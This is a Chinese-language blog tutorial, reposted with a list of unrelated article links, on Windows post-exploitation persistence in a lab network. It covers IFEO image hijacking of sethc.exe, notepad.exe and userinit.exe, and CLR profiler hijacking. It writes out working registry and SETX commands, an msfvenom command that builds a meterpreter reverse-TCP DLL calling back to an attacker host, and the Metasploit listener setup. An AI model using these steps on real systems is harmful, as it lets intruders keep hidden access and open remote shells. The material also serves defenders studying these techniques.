内网权限维持——映像劫持CLR劫持

news2025/1/25 4:44:38

文章目录

  • 一、映像劫持
    • 1.1 IFEO简介
    • 1.2 利用Shfit后门技术进行劫持
    • 1.3 GlobalFlag
  • 二、CLR劫持
    • 2.1 CLR简介
    • 2.2 利用CLR探查器进行权限维持

在这里插入图片描述
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138

一、映像劫持

1.1 IFEO简介

IFEO(Image File Execution Options,镜像文件执行选项)是windows系统的一个注册表项,路径为HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options。在windows NT系统中,IFEO原本是为一些在默认系统环境中允许是可能引发错误的程序执行体提供特殊的环境设定。利用IFEO,开发人员能够在程序运行之前执行程序所配套的环境配置程序。

简单来说,windows系统运行每个程序时,都会在HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options中查找相应的程序,如果存在,那么就会进一步查找是否存在Debugger值,并会在程序运行时优先运行Debugger项所指定的程序。

1.2 利用Shfit后门技术进行劫持

1、在windows中按5次shfit键,就会自动执行C:\Windows\System32\sethc.ece,然后会弹出以下小窗口。
在这里插入图片描述
该程序就算在锁屏状态下依然可以运行并且弹出窗口。如果对sethc.exe进行映像劫持,则可以在系统锁屏后依然执行指定程序。
在这里插入图片描述

2、使用下面的命令对sethc.exe进行映像劫持

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\system32\calc.exe"

因为映像劫持的缘故,连按5下shfit键将会弹计算器。
在这里插入图片描述
要想恢复原状,将Debugger的值置空即可。

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d ""

在这里插入图片描述
3、其他辅助键

程序功能热键组合
sethc.exe粘滞键连按5次shfit
magnify.exe放大镜win + “+”
utilman.exe使用程序win + U
osk.exe屏幕键盘win + ctrl + O
displayswitch.exe屏幕拓展win + P
narrator.exe讲述者win + Ctrl +enter
atbroker.exe辅助管理工具

1.3 GlobalFlag

上述shfit后门劫持有很大一个缺点:会破坏原有程序的正常运行,导致被劫持程序无法正常打开。通过Image File Execution Options项中的GlobalFlag子项可以很好解决这一问题。通过将该项的值设置为512,可以让程序在退出后再运行指定的程序。

1、这里尝试劫持notepad.exe。运行以下命令,可以实现再notepad.exe退出后自动执行calc.exe。

# 设置GlobalFlag值为512,则被劫持的程序将会正常运行
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

# 启用windows错误报告进程WerFault.exe,它将是calc.exe的父进程
# 在notepad.exe退出时,将运行监视器进程
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

# 指定监视器进程为calc.exe
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\calc.exe"

在这里插入图片描述
劫持成功后,notepad.exe将会正常执行。当notepad.exe关闭或相关进程被杀死后,将在werfault.exe进程中创建子进程且运行calc.exe。

2、userinit.exe会在每次用户登录后自动执行,主要进行用户配置初始化工作,且这个程序是开机自启。也就是说,通过设置userinit.exe的GlobalFlag和MonitorProcess,攻击者就可以让程序在用户登录时自动运行。

# 设置GlobalFlag值为512,则被劫持的程序将会正常运行
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\userinit.exe" /v GlobalFlag /t REG_DWORD /d 512

# 启用windows错误报告进程WerFault.exe,它将是calc.exe的父进程
# 在notepad.exe退出时,将运行监视器进程
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\userinit.exe" /v ReportingMode /t REG_DWORD /d 1

# 指定监视器进程为calc.exe
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\userinit.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe"

在这里插入图片描述
关机重启电脑,用户登录后成功弹窗。
在这里插入图片描述

二、CLR劫持

2.1 CLR简介

微软最初为了让多种高级语言能够在Windows中运行,定义了CLI(Common Language Infrastructure,通用语言基础组织的语言架构),著名的高级语言,如C#、C++、Powershell等就使用了CLI架构。CLI是一种语言架构,而实现这个架构的技术为CLR(Common Language Runtime,公共语言运行时)。CLR是.NET Framework的主要执行引擎之一,可以理解为类似于JVM的运行环境。CLR的出现是为了让各种语言适应Windows标准,而不是让windows去适应高级语言。

CLR有一个很重要的功能是通过探查器去监视程序运行状态。windows中,在CLR监视下运行的程序属于托管代码,不在CLR监视下运行而直接在裸机上运行的应用或组件属于非托管代码。探查器的主要功能是在程序执行任意函数后加入一些操作。攻击者通常向windows注册一个探查器,要求系统在执行任意.NET程序时会自动加载恶意DLL。

2.2 利用CLR探查器进行权限维持

1、在win 7上,开启CLR探查功能。

SETX COR_ENABLE_PROFILING 1 /M

# 权限不足时使用,使用SET命令设置的环境变量为临时变量,只在当前会话中起作用
SET COR_ENABLE_PROFILING 1 /M 

在这里插入图片描述

2、开启探查器后需要设置CLR所要连接的探查器,即将COR_PROFILER值设置为CLSID或ProgID,使用下面的命令连接探查器。设置CLR连接的探查器为11111111-1111-1111-1111-111111111111。权限不足,就用SET。

SETX COR_PROFILER {11111111-1111-1111-1111-111111111111} /M

在这里插入图片描述
3、给刚刚设置的CLSID(11111111-1111-1111-1111-111111111111)绑定一个DLL程序。首先在kali上使用MSF生成恶意的DLL程序,并将其放到win 7 的C:\tmp目录下。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.1 LPORT=8888 -f dll -o reverse_shell.dll

在这里插入图片描述
在这里插入图片描述

MSF设置监听:

use exploit/multi/handler # msf自带的监听模块
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.52.1
set lport 8888
exploit

在这里插入图片描述

在win 7注册表中添加一个新的CLSID,并将该CLSID的InProcServer32项的值设置为C:\tmp\reverse_shell.dll。根据设置,探查器会将CLSID所指向的DLL加载到所有.NET程序中。注意:32位系统和64位系统的设置方式不一样

# 32位系统设置
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\tmp\reverse_shell.dll" /F # CLSID指向C:\tmp\reverse_shell.dll
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

# 64位系统设置
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\tmp\reverse_shell.dll" /F # CLSID指向C:\tmp\reverse_shell.dll
reg add "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F
reg add "HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /VE /T REG_SZ /D "C:\tmp\reverse_shell.dll" /F # CLSID指向C:\tmp\reverse_shell.dll 
reg add "HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F

在这里插入图片描述
设置完成后,指向任意.NET程序,例如Powershell,执行成功后会反弹shell。
在这里插入图片描述

在这里插入图片描述

这里有一个问题,就是powershell加载恶意dll后,不能正常执行。

此外,如果目标系统存在.NET 4环境,可以直接向环境变量中添加COR_PROFILER_PATH,并设置其值位指定的DLL程序,设置完成后所有.NET程序都会被加载。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1977793.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【开端】通过springboot框架创建对象

日常创建对象的方式 UserService userService new UserService() 这中方式创建对象,是程序运行中,才会创建的对象。在web中,我们需要再web服务器启动完成就创建一系列的对象。这是就可以把创建对象的任务交给spring的IOC框架。 例如创建U…

SOMEIP_ETS_003:数组长度过短导致有效载荷被剥离

测试目的: 确保DUT在接收到的SOME/IP消息中数组长度小于实际数组长度时,能够正确地截断负载数据至声明的数组长度。 描述 本测试用例旨在验证DUT在处理一个声明数组长度小于其实际长度的SOME/IP消息时,是否能够将响应消息的负载数据截断至…

国标GB/T28181视频转S3云存储,支持阿里云OSS、腾讯云COS、天翼云存储,视频转云存大大降低运营商项目运营成本

最近在做一个运营商主导的项目,在沟通项目需求的时候,发现从运营商的角度,带宽和存储的成本在内部计费中是能够比市场上的价格低的多的多,以一个100路摄像头的本地存储为例,如果采用NVR本地存储,或者CVR本地…

LabVIEW水下根石监测系统

开发了一种基于LabVIEW平台开发的水下根石监测系统。该系统利用高精度姿态传感器与位移传感器,实现了水下根石状态的实时自动监测,提高了水利工程安全管理的现代化和精细化水平,具有高精度、高稳定性和良好的操作性。 项目背景: …

计算机体系结构和计算机组成原理的区别

如何理解计算机体系结构和计算机的组成?哪个对计算机的性能更重要?说明理由 目录 计算机体系结构 计算机组成 二者区别 哪个对性能更重要 计算机体系结构 计算机体系结构是指根据属性和功能不同而划分的计算机理论组成部分及计算机基本工作原理、理论…

Linux系统驱动(二)字符设备驱动

文章目录 一、概念(一)相关概念(二)字符设备框架结构(三)用户空间和内核空间数据传输1. 函数的参数对应关系 (四)字符设备相关的API1. 字符设备驱动(1)注册字…

stl容器 vector的使用与模拟实现

1.vector构造 1.1默认构造函数 vector<int>是vector类模版类型&#xff0c;尖括号里的类型是指生成什么类型的vector的类&#xff0c;实质上vector可以看做一个数组&#xff0c;vector<int>实质上就是生成了一个存int类型的数组&#xff0c;而tamp是这个数组的名字…

SpringSecurity-2(认证和授权+SpringSecurity入门案例+自定义认证+数据库认证)

SpringSecurity使用自定义认证页面 4 SpringSecurity使用自定义认证页面4.1 在SpringSecurity主配置文件中指定认证页面配置信息4.1.1 配置springSecurity.xml配置文件4.1.2 定义login.jsp 4.2 SpringSecurity的csrf防护机制4.2.1 SpringSecurity中CsrfFilter过滤器说明4.2.2 禁…

苹果iPhone 16 Pro系列有望支持Wi-Fi 7,再也不说苹果信号不好了

苹果公司始终以其创新技术引领智能手机市场的发展。 随着新一代iPhone 16系列的即将发布&#xff0c;特别是iPhone 16 Pro系列&#xff0c;预计将带来一系列令人瞩目的升级和新功能。 其中最引人注目的是Wi-Fi 7技术的应用&#xff0c;这将为用户带来前所未有的无线网络速度。…

计算机毕业设计选题推荐-校园服务系统-Java/Python项目实战

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

飞书API 2-7:如何将 MySQL 数据库的查询结果写入多维表(下)

一、引入 上一篇&#xff0c;解决了数据持续插入更新的问题。在一些场景下&#xff0c;如果数据量较大&#xff0c;需要跑多个任务调用接口插入&#xff0c;但是逐个跑任务又太久&#xff0c;又该怎么提高执行速度呢&#xff1f;没错&#xff01;就是多线程。 本文就来探讨下…

【Nuxt】服务端渲染 SSR

SSR 概述 服务器端渲染全称是&#xff1a;Server Side Render&#xff0c;在服务器端渲染页面&#xff0c;并将渲染好HTML返回给浏览器呈现。 SSR应用的页面是在服务端渲染的&#xff0c;用户每请求一个SSR页面都会先在服务端进行渲染&#xff0c;然后将渲染好的页面&#xf…

STM32 | ADC+RS485(第十天)

点击上方"蓝字"关注我们 01、ADC概述 ADC, Analog-to-Digital Converter的缩写,指模/数转换器或者模拟/数字转换器。是指将连续变量的模拟信号转换为离散的数字信号的器件。真实世界的模拟信号.例如温度、压力、声音或者图像等,需要转换成更容易储存、处理和发射的…

【公考新手教程】公考新手小白备考规划

公考 公考相关考试国考省考 行测常识判断言语理解与表达数量关系判断推理&#xff08;重中之重&#xff09;图推定义判断类比逻辑判断 资料分析&#xff08;重中之重&#xff09; 申论&#xff08;很重要&#xff0c;提升困难&#xff09;公基推荐考公软件粉笔华图在线bilibili…

零基础开始学习鸿蒙开发-文章推荐栏获取接口数据并展示

目录 1.新建文章列表布局页面&#xff0c;通过静态数据&#xff0c;编写好布局页面。 1.1 通过行ArticleCard布局构建单个文章展示的item项 1.2 使用了ObjectLink装饰器&#xff08;尽管这不是ArkUI标准API的一部分&#xff0c;特定框架或自定义的扩展&#xff09;&#xff0c…

在自定义数据集上训练现有的Detectron2模型

这段内容介绍了将使用一个气球分割数据集&#xff08;仅包含一个类别&#xff1a;气球&#xff09;来训练一个气球分割模型。训练过程将以一个预训练在COCO数据集上的模型为基础&#xff0c;这些模型可以在Detectron2的模型库中获取。需要注意的是&#xff0c;COCO数据集本身并…

神仙公司名单(苏州)

神仙公司&#xff08;苏州&#xff09; 前几天虽辟谣了 苏州佳能 N12/2N12 的裁员赔偿&#xff0c;但也同时指出了苏州是外企偏多&#xff0c;就业环境和生活节奏平衡的好城市。 但提到苏州公司&#xff0c;大家第一印象是微软、思科 和 Zoom 此类以 WLB 闻名的明星企业。 确实…

阿里「轨迹可控版Sora」,告别「抽卡」,让视频生成更符合物理规律

目前&#xff0c;扩散模型能够生成多样化且高质量的图像或视频。此前&#xff0c;视频扩散模型采用 U-Net 架构 &#xff0c;主要侧重于合成有限时长&#xff08;通常约为两秒&#xff09;的视频&#xff0c;并且分辨率和纵横比受到固定限制。 Sora 的出现打破了这一限制&#…

【教学类-73-01】20240804镂空瓶子01

背景需求&#xff1a; 瓶子里的春天呀&#xff01; - 小红书 (xiaohongshu.com)https://www.xiaohongshu.com/explore/63ef87f8000000000703acae?app_platformandroid&ignoreEngagetrue&app_version8.47.0&share_from_user_hiddentrue&xsec_sourceapp_share&…

谷粒商城实战笔记-vagrant避坑指南

文章目录 一&#xff0c;虚拟机磁盘空间不足问题原因解决方案 二&#xff0c;虚拟机导致C盘空间不足 一&#xff0c;虚拟机磁盘空间不足 使用vagrant管理虚拟机的过程中遇到了一个问题&#xff0c;虚拟机安装完成后&#xff0c;很快磁盘dev/sda1就满了&#xff0c;40G的空间&a…